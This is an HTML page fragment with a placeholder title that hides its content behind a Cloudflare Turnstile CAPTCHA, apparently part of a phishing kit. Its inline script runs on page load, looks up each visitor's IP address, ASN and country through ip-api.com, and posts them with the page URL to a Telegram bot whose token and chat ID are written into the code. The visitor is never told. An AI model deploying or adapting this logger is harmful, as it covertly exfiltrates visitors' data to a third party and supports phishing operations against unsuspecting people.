<head>
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <title>Title</title>
    <!-- Cloudflare Turnstile CAPTCHA script -->
    <script src="https://challenges.cloudflare.com/turnstile/v0/api.js" async defer></script>
    <style>
        #content {
            display: none; /* Hide the content initially */
        }
        #captcha {
            text-align: center;
            margin-top: 20px;
        }
    </style>
</head>
<body>
    <div id="captcha">
        <!-- Cloudflare Turnstile CAPTCHA widget -->
        <div class="cf-turnstile" data-sitekey="0x4AAAAAAA6YTo3Y6IGCopV_" data-callback="onTurnstileSuccess"></div>
    </div>
    <div id="content">


<script>
// Function to get IP, ASN, Country, and send it to Telegram
async function sendInfoToTelegram() {
  // 1. Fetch information from ip-api.com
  const ipInfo = await fetch('http://ip-api.com/json');
  const ipData = await ipInfo.json();

  const ip = ipData.query;           // IP address
  const asn = ipData.as;             // ASN (Autonomous System Number)
  const country = ipData.country;    // Country
  const fullUrl = window.location.href;  // Full URL

  // 2. Prepare the message for Telegram
  const message = `IP: ${ip}\nASN: ${asn}\nCountry: ${country}\nURL: ${fullUrl}`;

  // 3. Send the message to Telegram via Bot API
  const telegramBotToken = '7041096387:AAFOkoY9VogpqL_Ebyq1DRltpHNi5emDMsA';
  const chatId = '-4636241119';  // Replace with your Telegram chat ID
  const telegramUrl = `https://api.telegram.org/bot${telegramBotToken}/sendMessage`;

  const params = new URLSearchParams();
  params.append('chat_id', chatId);
  params.append('text', message);

  // 4. Make a POST request to Telegram API
  const response = await fetch(telegramUrl, {
    method: 'POST',
    body: params,
  });

  const data = await response.json();
  console.log(data); // You can log the response for debugging
}

// Call the function to send the info
sendInfoToTelegram();

</script>